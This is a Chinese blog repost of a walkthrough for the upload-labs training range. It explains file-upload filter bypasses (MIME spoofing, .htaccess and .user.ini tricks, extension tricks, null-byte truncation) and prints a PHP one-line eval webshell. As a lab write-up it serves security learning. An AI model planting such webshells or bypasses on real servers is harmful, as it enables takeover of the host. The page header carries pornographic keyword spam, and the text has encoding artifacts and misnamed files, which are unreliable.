日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 >

打靶归来 - 详解upload-labs靶场(上)

發(fā)布時間:2024/1/18 27 豆豆
生活随笔 收集整理的這篇文章主要介紹了 打靶归来 - 详解upload-labs靶场(上) 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

一、環(huán)境準(zhǔn)備

① - 靶場的搭建

  • 下載地址:upload-labs
  • upload-labs靶場曾有過一次更新,更新新添加了一道Pass-05,有一些以前的教程的題號與這篇教程不符合,請各位自行分辨
  • 本篇作者所用到的PHP版本為5.4.45,只有在做部分題目時需要修改
  • Pass03的繞過需要配置apache的httpd.conf文件


    作者在小皮面板上配置均失敗,只在phpstudy上配置成功,且版本限制在5.4.45

  • Pass05的繞過需要服務(wù)器腳本語言為PHP,且服務(wù)器使用CGI/FastCGI模式(在phpstudy中配置nts即可,用完之后記得設(shè)置回來)
  • Pass12與Pass13的繞過需要配置php版本小于5.3.29,且php.ini中的magic_quotes_gpc為OFF狀態(tài)

注意:更改配置之后記得重啟服務(wù)器

② - 準(zhǔn)備webshell

  • 測試用webshell
  • # shell.php → 測試所用的phpinfo <?php phpinfo(); ?>
  • 一句話木馬
  • # webshell.php → 一句話木馬 <?php @eval($_POST['pass']); ?>

    ③ - 說明

  • 確認webshell上傳成功的演示只在Pass01演示一遍
  • 本題使用的webshell均為最簡單的phpinfo(),一句話木馬getshell會在Pass02演示一遍,之后將不再演示
  • webshell最好設(shè)置不同名,或者在每次上傳成功后刪除,避免出現(xiàn)繞過失敗但測試成功的情況
  • Pass14~Pass21的題解見:打靶歸來 - 詳解upload-labs靶場(下)
  • 二、題解

    Pass01 - 前端Javascript過濾】

    題目:


    繞過方法:

    本題使用Javascript代碼進行過濾,禁用網(wǎng)站的Javascript權(quán)限即可完成繞過

    第一步:禁用網(wǎng)站權(quán)限

    第二步:上傳webshell,出現(xiàn)無法顯示的圖片說明上傳成功

    第三步:上傳成功后,通過瀏覽器的返回結(jié)果得到webshell的存儲位置,訪問webshell



    出現(xiàn)php版本信息代表上傳成功!

    Pass02 - MIME類型過濾】

    題目:


    繞過方法:

    通過抓包修改請求頭的MIME類型繞過過濾

    第一步:上傳webshell
    第二步:抓包,修改MIME類型

    第三步:上傳后,訪問webshell

    第四步:使用蟻劍進行g(shù)etshell

    出現(xiàn)2操作說明webshell能夠連接,接下來可以測試命令的執(zhí)行

    執(zhí)行成功,可以進行g(shù)etshell

    — Pass03 ~ Pass05 黑名單檢測使用特殊方法繞過

    Pass03 - 使用其它后綴名繞過】

    題目:


    繞過方法:

    本題使用黑名單過濾,且只過濾原始的后綴,所以可以使用不在其黑名單中的后綴進行繞過,Pass04和Pass05的方法可以在這一題使用,也可以使用其它的后綴名進行繞過。但前提是apache的http.conf文件做了如此配置

    第一步:上傳后綴名為.phtml(根據(jù)配置嘗試)的webshell
    第二步:確認webshell是否上傳成功

    Pass04 - 利用.htaccess繞過】

    題目:


    繞過方法:

    本題沒有過濾.htaccess文件,可以通過上傳.htaccess文件來為一個webshell文件更改后綴,來幫助webshell進行繞過

    第一步:構(gòu)造一個.htaccess文件

    <FilesMatch "1.png"> setHandler application/x-httpd-php </FilesMatch>

    第二步:將.htaccess文件上傳到服務(wù)器

    第三步:將WebShell文件修改為指定的名字與后綴(1.png),上傳到服務(wù)器

    第四步:直接訪問更改了后綴的WebShell文件即可執(zhí)行該文件(1.png)

    Pass05 - 利用.user.ini文件包含】

    題目:


    繞過方法

    本題沒有過濾.user.data文件,且在目錄下存在一個已知的php文件,可以通過.user.data文件配置使原有的php文件包含webshell

    第一步:構(gòu)造.user.php文件并上傳

    auto_prepend_file=1.png


    第二步:上傳指定文件名的webshell

    上傳后等待五分鐘(默認配置),使文件生效
    第三步:打開已知的php文件,即可執(zhí)行webshell

    — Pass06 ~ Pass11 黑名單檢測修改后綴名繞過

    這些類型過于簡單,就不再按步驟講解了,只會簡單的分析源碼和說明原理

    # 以下代碼是較為完整的放防御姿勢,但還是有繞過方法,可以對比這個來判斷有哪些最簡單的繞過姿勢 $file_name = trim($_FILES['upload_file']['name']);//提取文件名 $file_name = deldot($file_name);//刪除文件名末尾的點 $file_ext = strrchr($file_name, '.');//從文件名中提取后綴名 $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空

    【Pass06 - 利用大小寫繞過】

    題目:


    繞過方法

    缺少大小寫轉(zhuǎn)換,可以通過修改后綴的大小寫來繞過
    原理:Windows中對大小寫是不敏感的

    【Pass07 - 利用空格繞過】

    題目:


    繞過方法

    缺少末尾去空格,可以給文件名后綴末添加空格來繞過
    原理:Windows在保存文件時,會自動去除末尾的空格

    【Pass08 - 利用.繞過】

    題目:


    繞過方法

    缺少末尾去.,可以給文件名后綴末添加.來繞過
    原理:Windows在保存文件時,會自動去除末尾的.

    【Pass09 - 利用::$DATA繞過】

    題目:


    繞過方法

    缺少去除字符串::$DATA,利用在后綴名之后添加字符串::$DATA繞過

    【Pass10 - 后綴名繞過的綜合利用】

    題目:


    繞過方法

    仔細看一下,這題的代碼就是之前寫出來的較為完整的防御姿勢,可以說把之前出現(xiàn)的所有情況都考慮完全了,但仍然存在繞過方法。
    這一題可以使用點+空格+點繞過,我們來分析以下這種方法的可行性

    # 假設(shè)上傳的文件為[shell.php. .]$file_name = trim($_FILES['upload_file']['name']); //獲取文件名[shell.php. .]$file_name = deldot($file_name); //獲取文件名[shell.php. ]$file_ext = strrchr($file_name, '.'); //獲取后綴名[.php. ]$file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext);$file_ext = trim($file_ext); //獲取后綴名[.php.],最終可以實現(xiàn)繞過

    使用這種方式,可以繞過之前出現(xiàn)的大部分黑名單檢測,所以說在Windows系統(tǒng)種使用黑名單檢測是真的不安全

    【Pass11 - 雙寫繞過】

    題目:


    繞過方法

    將數(shù)據(jù)替換為空,則可以使用雙寫繞過,即在后綴名中嵌套后綴名進行繞過

    — Pass12 ~ Pass13 白名單檢測使用00截斷繞過

    Pass12 - URL路徑可控的%00截斷】

    題目:


    繞過方法

    讓URL中最后一個.后的數(shù)據(jù)符合白名單的條件,然后利用%00截斷使它無效(URL中遇到%00就會認為讀取結(jié)束,修改路徑值讓路徑值在%00前的數(shù)據(jù)被當(dāng)作文件名)
    即:../upload/shell.php%00shell.png會被當(dāng)作../upload/shell.php

    第一步:修改webshell的后綴為白名單內(nèi)的后綴并上傳
    第二步:抓包,然后修改URL值

    第三步:訪問%00前填入的文件名,判斷是否上傳成功

    Pass13 - POST路徑可控的0x00截斷】

    題目:


    繞過方法

    當(dāng)url中出現(xiàn)了0x00就會認為讀取已經(jīng)結(jié)束。若文件的保存路徑通過表單傳參,則可以在保存路徑參數(shù)后加上WebShell的文件名,并以0x00結(jié)束即可實現(xiàn)繞過

    第一步:修改webshell的后綴為白名單內(nèi)的后綴并上傳
    第二步:抓包,然后修改POST中的路徑值

    第二步的詳細步驟:




    修改完成后發(fā)包

    第三步:訪問0x00前填入的文件名,判斷是否上傳成功


    下篇編寫完成:打靶歸來 - 詳解upload-labs靶場(下)

    總結(jié)

    以上是生活随笔為你收集整理的打靶归来 - 详解upload-labs靶场(上)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。